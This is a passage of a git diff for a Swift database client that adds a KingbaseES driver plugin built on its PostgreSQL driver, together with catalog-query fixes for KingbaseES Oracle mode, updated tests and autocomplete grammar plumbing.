b/apple/Plugins/KingbaseESDriverPlugin/KingbaseESCompatibilityMode.swift new file mode 100644 index 0000000000..3dca8c1353 --- /dev/null +++ b/apple/Plugins/KingbaseESDriverPlugin/KingbaseESCompatibilityMode.swift @@ -0,0 +1,37 @@ +import Foundation +import TableProPluginKit + +/// The SQL a KingbaseES server speaks, fixed when its cluster is initialized. +enum KingbaseESCompatibilityMode: Equatable, Sendable { + case postgreSQL + case oracle + + // The two-argument form answers NULL where the parameter does not exist, which reads as PostgreSQL mode. + static let probeQuery = "SELECT current_setting('database_mode', true)" + + static let lexicalFeaturesItDecides: SQLLexicalFeatures = [ + .alternativeQuoting, .plsqlBlocks, .slashLineTerminators, .dollarAndHashInIdentifiers, + ] + + init(setting: String?) throws { + switch setting?.lowercased() { + case nil, "pg": + self = .postgreSQL + case "oracle": + self = .oracle + case let other?: + throw LibPQPluginError( + message: String( + format: String(localized: "KingbaseES in %@ mode is not supported. Connect to a server in PostgreSQL or Oracle mode."), + other + ), + sqlState: nil, + detail: nil + ) + } + } + + var lexicalFeatures: SQLLexicalFeatures { + self == .oracle ? Self.lexicalFeaturesItDecides : [] + } +} diff --git a/apple/Plugins/KingbaseESDriverPlugin/KingbaseESPlugin.swift b/apple/Plugins/KingbaseESDriverPlugin/KingbaseESPlugin.swift new file mode 100644 index 0000000000..bbcf6caae8 --- /dev/null +++ b/apple/Plugins/KingbaseESDriverPlugin/KingbaseESPlugin.swift @@ -0,0 +1,72 @@ +import Foundation +import TableProPluginKit + +final class KingbaseESPlugin: NSObject, TableProPlugin, DriverPlugin { + static let pluginName = "KingbaseES Driver" + static let pluginVersion = "1.0.0" + static let pluginDescription = "KingbaseES database support via libpq" + static let capabilities: [PluginCapability] = [.databaseDriver] + + static let databaseTypeId = "KingbaseES" + static let databaseDisplayName = "KingbaseES" + static let iconName = "cylinder" + static let defaultPort = 54_321 + static let isDownloadable = true + static let urlSchemes = ["kingbase", "kingbase8"] + static let brandColorHex = "#C9141E" + static let systemDatabaseNames = PostgreSQLPlugin.systemDatabaseNames + static let systemSchemaNames = [ + "pg_catalog", "information_schema", "pg_toast", "sys_catalog", "sys", "anon", "dbms_job", "dbms_scheduler", + "dbms_sql", "kdb_schedule", "perf", "pg_bitmapindex", "src_restrict", "sys_hm", "sysaudit", "sysmac", "wmsys", + "xlog_record_read" + ] + + static let additionalConnectionFields: [ConnectionField] = [ + ConnectionField( + id: "usePgpass", + label: String(localized: "Use ~/.pgpass"), + defaultValue: "false", + fieldType: .toggle, + section: .authentication, + hidesPassword: true + ), + ConnectionField( + id: "connectionOptions", + label: String(localized: "Connection Options"), + fieldType: .text, + section: .advanced + ) + ] + + static let supportsSchemaSwitching = PostgreSQLPlugin.supportsSchemaSwitching + static let postConnectActions = PostgreSQLPlugin.postConnectActions + static let explainVariants = PostgreSQLPlugin.explainVariants + static let databaseGroupingStrategy = PostgreSQLPlugin.databaseGroupingStrategy + static let columnTypesByCategory = PostgreSQLPlugin.columnTypesByCategory + static let supportsCascadeDrop = PostgreSQLPlugin.supportsCascadeDrop + static let supportsForeignKeyDisable = PostgreSQLPlugin.supportsForeignKeyDisable + static let requiresReconnectForDatabaseSwitch = PostgreSQLPlugin.requiresReconnectForDatabaseSwitch + static let parameterStyle = PostgreSQLPlugin.parameterStyle + static let supportsDropDatabase = PostgreSQLPlugin.supportsDropDatabase + static let supportsRenameTable = PostgreSQLPlugin.supportsRenameTable + static let supportsRenameDatabase = PostgreSQLPlugin.supportsRenameDatabase + static let supportsRenameSchema = PostgreSQLPlugin.supportsRenameSchema + static let supportsDropSchema = PostgreSQLPlugin.supportsDropSchema + static let supportsCreateSchema = PostgreSQLPlugin.supportsCreateSchema + static let supportsSchemaOwner = PostgreSQLPlugin.supportsSchemaOwner + static let supportsSchemaPrivileges = PostgreSQLPlugin.supportsSchemaPrivileges + static let supportsTriggers = PostgreSQLPlugin.supportsTriggers + static let supportsRoutines = PostgreSQLPlugin.supportsRoutines + static let supportsDatabaseTriggerBrowse = PostgreSQLPlugin.supportsDatabaseTriggerBrowse + static let supportsUserDefinedTypeBrowse = PostgreSQLPlugin.supportsUserDefinedTypeBrowse + static let supportsTriggerEditing = PostgreSQLPlugin.supportsTriggerEditing + static let structureColumnFields = PostgreSQLPlugin.structureColumnFields + static let supportsCheckConstraints = PostgreSQLPlugin.supportsCheckConstraints + static let supportsCheckConstraintEditing = PostgreSQLPlugin.supportsCheckConstraintEditing + static let supportsGeneratedColumns = PostgreSQLPlugin.supportsGeneratedColumns + static let sqlDialect = PostgreSQLPlugin.sqlDialect + + func createDriver(config: DriverConnectionConfig) -> any PluginDatabaseDriver { + KingbaseESPluginDriver(config: config) + } +} diff --git a/apple/Plugins/KingbaseESDriverPlugin/KingbaseESPluginDriver.swift b/apple/Plugins/KingbaseESDriverPlugin/KingbaseESPluginDriver.swift new file mode 100644 index 0000000000..4a3d8b45ec --- /dev/null +++ b/apple/Plugins/KingbaseESDriverPlugin/KingbaseESPluginDriver.swift @@ -0,0 +1,23 @@ +import Foundation +import os +import TableProPluginKit + +final class KingbaseESPluginDriver: PostgreSQLPluginDriver, @unchecked Sendable { + private let mode = OSAllocatedUnfairLock(initialState: KingbaseESCompatibilityMode.postgreSQL) + + override var sessionLexicalState: PluginSessionLexicalState? { + guard let inherited = super.sessionLexicalState else { return nil } + let modeFeatures = mode.withLock { $0 }.lexicalFeatures + return PluginSessionLexicalState( + determined: inherited.determined.union(KingbaseESCompatibilityMode.lexicalFeaturesItDecides), + enabled: inherited.enabled.union(modeFeatures) + ) + } + + override func probeAfterConnect() async throws { + let result = try await execute(query: KingbaseESCompatibilityMode.probeQuery) + let detected = try KingbaseESCompatibilityMode(setting: result.rows.first?.first?.asText) + mode.withLock { $0 = detected } + try await super.probeAfterConnect() + } +} diff --git a/apple/Plugins/PostgreSQLDriverPlugin/LibPQDriverCore.swift b/apple/Plugins/PostgreSQLDriverPlugin/LibPQDriverCore.swift index e459e63e6b..8ed4cfd180 100644 --- a/apple/Plugins/PostgreSQLDriverPlugin/LibPQDriverCore.swift +++ b/apple/Plugins/PostgreSQLDriverPlugin/LibPQDriverCore.swift @@ -25,7 +25,7 @@ final class LibPQDriverCore: @unchecked Sendable { var currentSchema: String = "public" private var selectedSchema: String? - var onPostConnect: (@Sendable () async -> Void)? + var onPostConnect: (@Sendable () async throws -> Void)? /// Set by `LibPQBackedDriver` for the span of one connect, so every driver built on this /// core reports its handshake steps without having to thread a parameter through its own @@ -124,7 +124,7 @@ final class LibPQDriverCore: @unchecked Sendable { currentSchema = selectedSchema } - await onPostConnect?() + try await onPostConnect?() try await pqConn.finishConnecting() try Task.checkCancellation() } onCancel: { diff --git a/apple/Plugins/PostgreSQLDriverPlugin/PostgreSQLIndexQueries.swift b/apple/Plugins/PostgreSQLDriverPlugin/PostgreSQLIndexQueries.swift index 4968b271b4..4a0e63f1e7 100644 --- a/apple/Plugins/PostgreSQLDriverPlugin/PostgreSQLIndexQueries.swift +++ b/apple/Plugins/PostgreSQLDriverPlugin/PostgreSQLIndexQueries.swift @@ -125,7 +125,9 @@ nonisolated enum PostgreSQLIndexQueries { /// `pg_get_expr` writes it, which is the same deparse with the same flags. When either end fails to /// match byte for byte, `method_and_keys` is NULL and the index falls back to its fields. Cutting /// at the first ` USING ` or the last ` WHERE ` instead would split an index named - /// `i ON s.t USING btree (` or a predicate holding the literal `' WHERE '`. + /// `i ON s.t USING btree (` or a predicate holding the literal `' WHERE '`. An index without a + /// predicate has a NULL suffix, never `''`: KingbaseES in Oracle mode reads `''` as NULL and + /// `' WHERE ' || NULL` as ` WHERE `. static func indexDDLQuery(schema: String, table: String?) -> String { let schemaLiteral = PostgreSQLObjectQueries.quoteLiteral(schema) let tablePredicate = table.map { " AND t.relname = \(PostgreSQLObjectQueries.quoteLiteral($0))" } ?? "" @@ -134,15 +136,17 @@ nonisolated enum PostgreSQLIndexQueries { d.table_name, d.index_name, CASE - WHEN pg_catalog.length(d.definition) >= pg_catalog.length(d.prefix) + pg_catalog.length(d.suffix) + WHEN pg_catalog.length(d.definition) + >= pg_catalog.length(d.prefix) + COALESCE(pg_catalog.length(d.suffix), 0) AND pg_catalog.substr(d.definition, 1, pg_catalog.length(d.prefix)) = d.prefix - AND pg_catalog.substr( + AND (d.suffix IS NULL OR pg_catalog.substr( d.definition, pg_catalog.length(d.definition) - pg_catalog.length(d.suffix) + 1 - ) = d.suffix + ) = d.suffix) THEN pg_catalog.substr( d.definition, pg_catalog.length(d.prefix) + 1, - pg_catalog.length(d.definition) - pg_catalog.length(d.prefix) - pg_catalog.length(d.suffix) + pg_catalog.length(d.definition) - pg_catalog.length(d.prefix) + - COALESCE(pg_catalog.length(d.suffix), 0) ) END AS method_and_keys, d.predicate @@ -162,7 +166,9 @@ nonisolated enum PostgreSQLIndexQueries { END || pg_catalog.quote_ident(n.nspname) || '.' || pg_catalog.quote_ident(t.relname) || ' ' AS prefix, - COALESCE(' WHERE ' || pg_catalog.pg_get_expr(ix.indpred, ix.indrelid), '') AS suffix, + CASE WHEN ix.indpred IS NOT NULL + THEN ' WHERE ' || pg_catalog.pg_get_expr(ix.indpred, ix.indrelid) + END AS suffix, pg_catalog.pg_get_expr(ix.indpred, ix.indrelid) AS predicate FROM pg_catalog.pg_index ix JOIN pg_catalog.pg_class i ON i.oid = ix.indexrelid diff --git a/apple/Plugins/PostgreSQLDriverPlugin/PostgreSQLPluginDriver+ColumnReorder.swift b/apple/Plugins/PostgreSQLDriverPlugin/PostgreSQLPluginDriver+ColumnReorder.swift index 6e50299834..260d95fe3b 100644 --- a/apple/Plugins/PostgreSQLDriverPlugin/PostgreSQLPluginDriver+ColumnReorder.swift +++ b/apple/Plugins/PostgreSQLDriverPlugin/PostgreSQLPluginDriver+ColumnReorder.swift @@ -137,7 +137,7 @@ extension PostgreSQLPluginDriver { JOIN pg_class c ON c.oid = t.tgrelid JOIN pg_namespace n ON n.oid = c.relnamespace WHERE c.relname = \(tableLiteral) AND n.nspname = \(schemaLiteral) AND NOT t.tgisinternal - AND t.tgenabled <> 'O' + AND t.tgenabled IN ('D', 'R', 'A') ORDER BY t.tgname """) @@ -155,7 +155,7 @@ extension PostgreSQLPluginDriver { JOIN pg_namespace n ON n.oid = c.relnamespace WHERE c.relname = \(tableLiteral) AND n.nspname = \(schemaLiteral) AND a.attnum > 0 AND NOT a.attisdropped - AND \(caps.hasIdentityColumns ? "a.attidentity = ''" : "true") + AND \(caps.hasIdentityColumns ? "a.attidentity NOT IN ('a', 'd')" : "true") AND pg_get_serial_sequence( quote_ident(n.nspname) || '.' || quote_ident(c.relname), a.attname ) IS NOT NULL diff --git a/apple/Plugins/PostgreSQLDriverPlugin/PostgreSQLPluginDriver.swift b/apple/Plugins/PostgreSQLDriverPlugin/PostgreSQLPluginDriver.swift index f92bf287f3..e7b0c72983 100644 --- a/apple/Plugins/PostgreSQLDriverPlugin/PostgreSQLPluginDriver.swift +++ b/apple/Plugins/PostgreSQLDriverPlugin/PostgreSQLPluginDriver.swift @@ -21,6 +21,8 @@ class PostgreSQLPluginDriver: LibPQBackedDriver, @unchecked Sendable { let sessionFacts = OSAllocatedUnfairLock(initialState: PostgreSQLSessionFacts.unknown) private let listingDegradeReported = OSAllocatedUnfairLock(initialState: false) + var sessionLexicalState: PluginSessionLexicalState? { core.sessionLexicalState } + var serverVersionNumber: Int32 { let reported = core.serverVersionNumber return sessionFacts.withLock { $0.resolvedServerVersion(reported: reported) } @@ -60,15 +62,20 @@ class PostgreSQLPluginDriver: LibPQBackedDriver, @unchecked Sendable { func connect() async throws { core.onPostConnect = { [weak self] in - await self?.probeSessionFacts() - await self?.probeCatalogPresence() - await self?.probePostgisOids() - await self?.probeEnumOids() - await self?.probeVectorTypes() + try await self?.probeAfterConnect() } try await core.connect() } + /// Runs inside the connect's deadline and cancellation, before the connection is handed out. + func probeAfterConnect() async throws { + await probeSessionFacts() + await probeCatalogPresence() + await probePostgisOids() + await probeEnumOids() + await probeVectorTypes() + } + private func probeCatalogPresence() async { do { let result = try await core.execute(query: PostgreSQLCatalogPresence.probeQuery) diff --git a/apple/Plugins/PostgreSQLDriverPlugin/PostgreSQLSchemaManagementQueries.swift b/apple/Plugins/PostgreSQLDriverPlugin/PostgreSQLSchemaManagementQueries.swift index cffd92b8b9..ed0db78a91 100644 --- a/apple/Plugins/PostgreSQLDriverPlugin/PostgreSQLSchemaManagementQueries.swift +++ b/apple/Plugins/PostgreSQLDriverPlugin/PostgreSQLSchemaManagementQueries.swift @@ -58,7 +58,7 @@ enum PostgreSQLSchemaManagementQueries { ) s LEFT JOIN pg_catalog.pg_roles gte ON gte.oid = (s.acl).grantee LEFT JOIN pg_catalog.pg_roles gtr ON gtr.oid = (s.acl).grantor - ORDER BY 2, 3 + ORDER BY gte.rolname NULLS FIRST, 3 """ } diff --git a/apple/Plugins/PostgreSQLDriverPlugin/PostgreSQLSchemaQueries.swift b/apple/Plugins/PostgreSQLDriverPlugin/PostgreSQLSchemaQueries.swift index 8509c276a1..b38f26b455 100644 --- a/apple/Plugins/PostgreSQLDriverPlugin/PostgreSQLSchemaQueries.swift +++ b/apple/Plugins/PostgreSQLDriverPlugin/PostgreSQLSchemaQueries.swift @@ -329,16 +329,23 @@ enum PostgreSQLSchemaQueries { /// inherits `C` from its domain and one declared `COLLATE "C"` over `text` report `C` in /// `information_schema`, and only the second declares it. Reads the attribute as `a`, which every /// column read and column DDL builder in this plugin aliases it to. - static let columnCollation = """ + static let columnCollation = declaredCollation(PostgreSQLObjectQueries.collationName("a.attcollation")) + + /// `columnCollation` as the text a column definition appends after its type: ` COLLATE `, or + /// an empty string. + // The keyword sits inside the THEN: KingbaseES in Oracle mode reads `' COLLATE ' || NULL` as ` COLLATE `. + static let columnCollateClause = declaredCollation( + "' COLLATE ' || \(PostgreSQLObjectQueries.collationName("a.attcollation"))", otherwise: "''" + ) + + private static func declaredCollation(_ value: String, otherwise fallback: String? = nil) -> String { + """ CASE WHEN a.attcollation <> 0 AND a.attcollation <> (SELECT ty.typcollation FROM pg_catalog.pg_type ty WHERE ty.oid = a.atttypid) - THEN \(PostgreSQLObjectQueries.collationName("a.attcollation")) + THEN \(value)\(fallback.map { "\n ELSE \($0)" } ?? "") END """ - - /// `columnCollation` as the text a column definition appends after its type: ` COLLATE `, or - /// an empty string. - static let columnCollateClause = "COALESCE(' COLLATE ' || \(columnCollation), '')" + } /// One array over the sequences this column's default reads in the table's own schema, ordered by /// oid so the qualified and relative arrays pair element for element. @@ -431,8 +438,8 @@ enum PostgreSQLSchemaQueries { } static func rebuildColumnsQuery(schema: String, table: String, capabilities: PostgreSQLCapabilities) -> String { - let identityFlag = capabilities.hasIdentityColumns ? "a.attidentity <> ''" : "false" - let generatedFlag = capabilities.hasGeneratedColumns ? "a.attgenerated <> ''" : "false" + let identityFlag = capabilities.hasIdentityColumns ? "a.attidentity IN ('a', 'd')" : "false" + let generatedFlag = capabilities.hasGeneratedColumns ? "a.attgenerated IN ('s', 'v')" : "false" return """ SELECT a.attname, @@ -458,9 +465,10 @@ enum PostgreSQLSchemaQueries { ELSE '' END || """ : "" + // The kinds are named because KingbaseES in Oracle mode reads `''` as NULL, so `= ''` is never true there. let defaultGuard = [ - capabilities.hasIdentityColumns ? "AND a.attidentity = ''" : "", - capabilities.hasGeneratedColumns ? "AND a.attgenerated = ''" : "" + capabilities.hasIdentityColumns ? "AND a.attidentity NOT IN ('a', 'd')" : "", + capabilities.hasGeneratedColumns ? "AND a.attgenerated NOT IN ('s', 'v')" : "" ].filter { !$0.isEmpty }.joined(separator: " ") return """ quote_ident(a.attname) || ' ' || format_type(a.atttypid, a.atttypmod) || \(columnCollateClause) || @@ -523,8 +531,15 @@ enum PostgreSQLSchemaQueries { let includesTableName = table == nil let identityProjection = capabilities.hasIdentityColumns ? "a.attidentity" : "NULL::text" let generatedProjection = capabilities.hasGeneratedColumns ? "a.attgenerated" : "NULL::text" + // Not `c.generation_expression`: KingbaseES's Oracle-mode view compares `attgenerated <> NULL`, so it is always NULL. let generationExpressionProjection = capabilities.hasGeneratedColumns - ? "c.generation_expression" + ? """ + CASE WHEN a.attgenerated IN ('s', 'v') + THEN (SELECT pg_catalog.pg_get_expr(ad.adbin, ad.adrelid) + FROM pg_catalog.pg_attrdef ad + WHERE ad.adrelid = a.attrelid AND ad.adnum = a.attnum) + END + """ : "NULL::text" let attributeJoin = """ diff --git a/apple/Plugins/PostgreSQLDriverTests/PostgreSQLCatalogSQLPinTests.swift b/apple/Plugins/PostgreSQLDriverTests/PostgreSQLCatalogSQLPinTests.swift index 4ee26ebffe..b3f682d6a6 100644 --- a/apple/Plugins/PostgreSQLDriverTests/PostgreSQLCatalogSQLPinTests.swift +++ b/apple/Plugins/PostgreSQLDriverTests/PostgreSQLCatalogSQLPinTests.swift @@ -277,7 +277,11 @@ struct PostgreSQLCatalogSQLPinTests { a.attidentity AS identity_kind, a.attgenerated AS generated_kind, c.udt_schema AS udt_schema, - c.generation_expression AS generation_expression, + CASE WHEN a.attgenerated IN ('s', 'v') + THEN (SELECT pg_catalog.pg_get_expr(ad.adbin, ad.adrelid) + FROM pg_catalog.pg_attrdef ad + WHERE ad.adrelid = a.attrelid AND ad.adnum = a.attnum) + END AS generation_expression, CASE WHEN EXISTS ( SELECT 1 FROM pg_catalog.pg_type dt diff --git a/apple/Plugins/PostgreSQLDriverTests/PostgreSQLColumnDDLSequenceCollationTests.swift b/apple/Plugins/PostgreSQLDriverTests/PostgreSQLColumnDDLSequenceCollationTests.swift index 7b21c6c397..cba6ac1f90 100644 --- a/apple/Plugins/PostgreSQLDriverTests/PostgreSQLColumnDDLSequenceCollationTests.swift +++ b/apple/Plugins/PostgreSQLDriverTests/PostgreSQLColumnDDLSequenceCollationTests.swift @@ -51,12 +51,18 @@ struct PostgreSQLColumnDDLQuerySequenceCollationTests { )) } - @Test("The DDL builders' clause is the same collation behind a COLLATE keyword, or nothing") + @Test("The DDL builders' clause reads the same collation once, behind a COLLATE keyword, or nothing") func collateClauseWrapsTheSameCollation() { - #expect( - PostgreSQLSchemaQueries.columnCollateClause - == "COALESCE(' COLLATE ' || \(PostgreSQLSchemaQueries.columnCollation), '')" - ) + let clause = PostgreSQLSchemaQueries.columnCollateClause + let name = PostgreSQLObjectQueries.collationName("a.attcollation") + #expect(clause.contains("a.attcollation <> 0")) + #expect(clause.contains( + "a.attcollation <> (SELECT ty.typcollation FROM pg_catalog.pg_type ty WHERE ty.oid = a.atttypid)" + )) + #expect(clause.contains("THEN ' COLLATE ' || \(name)")) + #expect(clause.contains("ELSE ''")) + #expect(clause.components(separatedBy: name).count - 1 == 1) + #expect(clause.components(separatedBy: "pg_catalog.pg_type ty").count - 1 == 1) } } diff --git a/apple/Plugins/PostgreSQLDriverTests/PostgreSQLColumnQueryTests.swift b/apple/Plugins/PostgreSQLDriverTests/PostgreSQLColumnQueryTests.swift index 2c5539a140..2d97d2f31c 100644 --- a/apple/Plugins/PostgreSQLDriverTests/PostgreSQLColumnQueryTests.swift +++ b/apple/Plugins/PostgreSQLDriverTests/PostgreSQLColumnQueryTests.swift @@ -80,7 +80,9 @@ struct PostgreSQLColumnsQueryTests { let query = singleTable(schema: "s2", table: "orders") #expect(query.contains("a.attidentity")) #expect(query.contains("a.attgenerated")) - #expect(query.contains("c.generation_expression")) + #expect(query.contains("CASE WHEN a.attgenerated IN ('s', 'v')")) + #expect(query.contains("THEN (SELECT pg_catalog.pg_get_expr(ad.adbin, ad.adrelid)")) + #expect(!query.contains("c.generation_expression")) #expect(query.contains("ON a.attrelid = rel.oid")) #expect(query.contains("AND a.attnum = c.ordinal_position")) } @@ -223,11 +225,13 @@ struct PostgreSQLMaterializedViewColumnsQueryTests { } @Test("a materialized view column has no primary key and no default") - func armSkipsConstraintsAndDefaults() { + func armSkipsConstraintsAndDefaults() throws { let rendered = query() + let arm = try #require(rendered.components(separatedBy: "UNION ALL").last) #expect(rendered.contains("'NO' AS is_pk")) #expect(rendered.contains("NULL::text AS column_default")) - #expect(!rendered.contains("pg_attrdef")) + #expect(arm.contains("mvc.relkind = 'm'")) + #expect(!arm.contains("pg_attrdef")) #expect(rendered.components(separatedBy: "FROM pg_catalog.pg_constraint con").count - 1 == 1) } diff --git a/apple/Plugins/PostgreSQLDriverTests/PostgreSQLIndexReplayTests.swift b/apple/Plugins/PostgreSQLDriverTests/PostgreSQLIndexReplayTests.swift index 9a5556b840..6fe21b80db 100644 --- a/apple/Plugins/PostgreSQLDriverTests/PostgreSQLIndexReplayTests.swift +++ b/apple/Plugins/PostgreSQLDriverTests/PostgreSQLIndexReplayTests.swift @@ -173,9 +173,13 @@ struct PostgreSQLIndexDDLQueryTests { @Test("The suffix is the predicate as pg_get_expr writes it, and the keys are cut only when both ends match") func suffixAndCut() throws { let sql = PostgreSQLIndexQueries.indexDDLQuery(schema: "src", table: nil) - #expect(sql.contains("COALESCE(' WHERE ' || pg_catalog.pg_get_expr(ix.indpred, ix.indrelid), '') AS suffix")) + #expect(sql.contains("CASE WHEN ix.indpred IS NOT NULL")) + #expect(sql.contains("THEN ' WHERE ' || pg_catalog.pg_get_expr(ix.indpred, ix.indrelid)")) + #expect(sql.contains("END AS suffix")) + #expect(!sql.contains("COALESCE(' WHERE '")) #expect(sql.contains("AND pg_catalog.substr(d.definition, 1, pg_catalog.length(d.prefix)) = d.prefix")) - #expect(sql.contains(") = d.suffix")) + #expect(sql.contains("AND (d.suffix IS NULL OR pg_catalog.substr(")) + #expect(sql.contains(") = d.suffix)")) let cutStart = try #require(sql.range(of: "CASE")) let cutEnd = try #require(sql.range(of: "END AS method_and_keys")) let cut = sql[cutStart.upperBound.. = [ - "PostgreSQL", "Greenplum", "AlloyDB", "Citus", "CockroachDB", "PGlite" + "PostgreSQL", "Greenplum", "AlloyDB", "Citus", "CockroachDB", "PGlite", "KingbaseES" ] /// `readTimeZone` is the zone the rows were read in, from the export's read scope. Only a MySQL dump declares diff --git a/apple/Plugins/TableProPluginKit/SqlDialect.swift b/apple/Plugins/TableProPluginKit/SqlDialect.swift index 7571dc90b3..bf55ad82ca 100644 --- a/apple/Plugins/TableProPluginKit/SqlDialect.swift +++ b/apple/Plugins/TableProPluginKit/SqlDialect.swift @@ -9,7 +9,7 @@ public enum SqlDialect: String, Sendable, CaseIterable { public static func from(databaseTypeId: String) -> SqlDialect { switch databaseTypeId { - case "PostgreSQL", "Redshift", "Greenplum", "AlloyDB", "Citus", "CockroachDB", "PGlite": + case "PostgreSQL", "Redshift", "Greenplum", "AlloyDB", "Citus", "CockroachDB", "PGlite", "KingbaseES": return .postgres case "MySQL", "MariaDB", "TiDB", "OceanBase": return .mysql diff --git a/apple/TablePro/Core/Autocomplete/CompletionEngine.swift b/apple/TablePro/Core/Autocomplete/CompletionEngine.swift index 6949899846..fc26946d2d 100644 --- a/apple/TablePro/Core/Autocomplete/CompletionEngine.swift +++ b/apple/TablePro/Core/Autocomplete/CompletionEngine.swift @@ -1,6 +1,7 @@ import Foundation import TableProAutocomplete import TableProPluginKit +import TableProSQLGrammar struct CompletionContext { let items: [SQLCompletionItem] @@ -19,13 +20,15 @@ final class CompletionEngine { schemaProvider: SQLSchemaProvider?, databaseType: DatabaseType? = nil, dialect: SQLDialectDescriptor? = nil, - statementCompletions: [CompletionEntry] = [] + statementCompletions: [CompletionEntry] = [], + grammar: SQLLexicalGrammar? = nil ) { self.provider = SQLCompletionProvider( schemaProvider: schemaProvider, databaseType: databaseType, dialect: dialect, - statementCompletions: statementCompletions + statementCompletions: statementCompletions, + grammar: grammar ) self.identifierRules = databaseType?.identifierRules } diff --git a/apple/TablePro/Core/Autocomplete/QueryCompletionService.swift b/apple/TablePro/Core/Autocomplete/QueryCompletionService.swift index 3419a54dfb..64056e5c4f 100644 --- a/apple/TablePro/Core/Autocomplete/QueryCompletionService.swift +++ b/apple/TablePro/Core/Autocomplete/QueryCompletionService.swift @@ -1,6 +1,7 @@ import Foundation import TableProAutocomplete import TableProPluginKit +import TableProSQLGrammar struct QueryCompletionSession { let items: [SQLCompletionItem] @@ -29,7 +30,8 @@ enum QueryCompletionServiceFactory { schemaProvider: SQLSchemaProvider?, databaseType: DatabaseType?, profile: QueryCompletionProfile? = nil, - connectionId: UUID? = nil + connectionId: UUID? = nil, + grammar: SQLLexicalGrammar? = nil ) -> QueryCompletionService { let language = databaseType.map { PluginManager.shared.editorLanguage(for: $0) } ?? .sql @@ -41,6 +43,7 @@ enum QueryCompletionServiceFactory { schemaProvider: schemaProvider, databaseType: databaseType, profile: profile, + grammar: grammar, identifierCase: { SQLIdentifierCase.stored(for: connectionId) } ) } diff --git a/apple/TablePro/Core/Autocomplete/SQLCompletionProvider+App.swift b/apple/TablePro/Core/Autocomplete/SQLCompletionProvider+App.swift index bd9e1c2189..c62314e731 100644 --- a/apple/TablePro/Core/Autocomplete/SQLCompletionProvider+App.swift +++ b/apple/TablePro/Core/Autocomplete/SQLCompletionProvider+App.swift @@ -9,29 +9,17 @@ extension SQLCompletionProvider { schemaProvider: SQLSchemaProvider?, databaseType: DatabaseType? = nil, dialect: SQLDialectDescriptor? = nil, - statementCompletions: [CompletionEntry] = [] + statementCompletions: [CompletionEntry] = [], + grammar: SQLLexicalGrammar? = nil ) { self.init( catalog: schemaProvider, - grammar: databaseType?.lexicalGrammar ?? .ansi, + grammar: grammar ?? databaseType?.lexicalGrammar ?? .ansi, vocabulary: SQLCompletionVocabulary( dialect: dialect, statementCompletions: statementCompletions, databaseType: databaseType ) ) } - - func setDatabaseType( - _ type: DatabaseType, - dialect: SQLDialectDescriptor? = nil, - statementCompletions: [CompletionEntry] = [] - ) { - update( - grammar: type.lexicalGrammar, - vocabulary: SQLCompletionVocabulary( - dialect: dialect, statementCompletions: statementCompletions, databaseType: type - ) - ) - } } extension SQLCompletionVocabulary { diff --git a/apple/TablePro/Core/Autocomplete/SQLCompletionService.swift b/apple/TablePro/Core/Autocomplete/SQLCompletionService.swift index d6811a2b98..b6a44f0c22 100644 --- a/apple/TablePro/Core/Autocomplete/SQLCompletionService.swift +++ b/apple/TablePro/Core/Autocomplete/SQLCompletionService.swift @@ -14,6 +14,7 @@ final class SQLCompletionService: QueryCompletionService { schemaProvider: SQLSchemaProvider?, databaseType: DatabaseType?, profile: QueryCompletionProfile? = nil, + grammar: SQLLexicalGrammar? = nil, identifierCase: @escaping @MainActor () -> SQLIdentifierCase = { .default } ) { let dialect = profile?.resolvedDialect @@ -21,13 +22,15 @@ final class SQLCompletionService: QueryCompletionService { let statementCompletions = profile?.statementCompletions ?? databaseType.flatMap { PluginManager.shared.statementCompletions(for: $0) } ?? [] + let resolvedGrammar = grammar ?? databaseType?.lexicalGrammar ?? .ansi self.engine = CompletionEngine( schemaProvider: schemaProvider, databaseType: databaseType, dialect: dialect, - statementCompletions: statementCompletions + statementCompletions: statementCompletions, + grammar: resolvedGrammar ) - self.grammar = databaseType?.lexicalGrammar ?? .ansi + self.grammar = resolvedGrammar self.identifierCaseSource = identifierCase } diff --git a/apple/TablePro/Core/Autocomplete/SQLSchemaProvider.swift b/apple/TablePro/Core/Autocomplete/SQLSchemaProvider.swift index ccf4fa6590..c58dd2fce1 100644 --- a/apple/TablePro/Core/Autocomplete/SQLSchemaProvider.swift +++ b/apple/TablePro/Core/Autocomplete/SQLSchemaProvider.swift @@ -443,18 +443,18 @@ actor SQLSchemaProvider { let capturedConnection = connection let defaultSchema = getDefaultSchema() let capturedScopeDatabase = scopeDatabase - let (dbName, idQuote, editorLanguage, queryLanguageName) = await MainActor.run { + let (dbName, idQuote, editorLanguage, queryLanguageName, grammar) = await MainActor.run { let resolvedName = capturedScopeDatabase ?? DatabaseManager.shared.browseDatabaseName(for: capturedConnection) let quote = PluginManager.shared.sqlDialect(for: dbType)?.identifierQuote ?? "\"" let lang = PluginManager.shared.editorLanguage(for: dbType) let langName = PluginManager.shared.queryLanguageName(for: dbType) - return (resolvedName, quote, lang, langName) + let sessionGrammar = SQLLexicalResolver.executionGrammar(for: dbType, connectionId: capturedConnection.id) + return (resolvedName, quote, lang, langName, sessionGrammar) } var listedTables = tables if let editorText, editorLanguage == .sql, listedTables.count > settings.maxSchemaTables { - let grammar = dbType.lexicalGrammar let statement = SQLStatementScanner.statementAtCursor( in: editorText, cursorPosition: cursorOffset, diff --git a/apple/TablePro/Core/Compare/CompareRunner.swift b/apple/TablePro/Core/Compare/CompareRunner.swift index 8f796c9035..9eb2f6f83b 100644 --- a/apple/TablePro/Core/Compare/CompareRunner.swift +++ b/apple/TablePro/Core/Compare/CompareRunner.swift @@ -364,7 +364,13 @@ internal struct CompareRunner { options: session.structureOptions, sourceDatabaseType: context.source.databaseType, targetDatabaseType: context.target.databaseType, - targetIndexedKinds: SourceObjectIndexes.carriedKinds(on: context.target.databaseType) + targetIndexedKinds: SourceObjectIndexes.carriedKinds(on: context.target.databaseType), + sourceGrammar: SQLLexicalResolver.executionGrammar( + for: context.source.databaseType, connectionId: context.source.connectionId + ), + targetGrammar: SQLLexicalResolver.executionGrammar( + for: context.target.databaseType, connectionId: context.target.connectionId + ) ) /// Each pair reads two independent endpoints, so the two sides run together rather than the diff --git a/apple/TablePro/Core/Compare/CompareSQLLiteral.swift b/apple/TablePro/Core/Compare/CompareSQLLiteral.swift index e34f80616d..0217e55e14 100644 --- a/apple/TablePro/Core/Compare/CompareSQLLiteral.swift +++ b/apple/TablePro/Core/Compare/CompareSQLLiteral.swift @@ -104,7 +104,7 @@ internal enum CompareSQLLiteral { return .bitString case .duckdb: return .unhexFunction - case .postgresql, .cockroachdb, .redshift, .pglite: + case .postgresql, .cockroachdb, .redshift, .pglite, .kingbasees: return .postgresBytea case .mssql: return 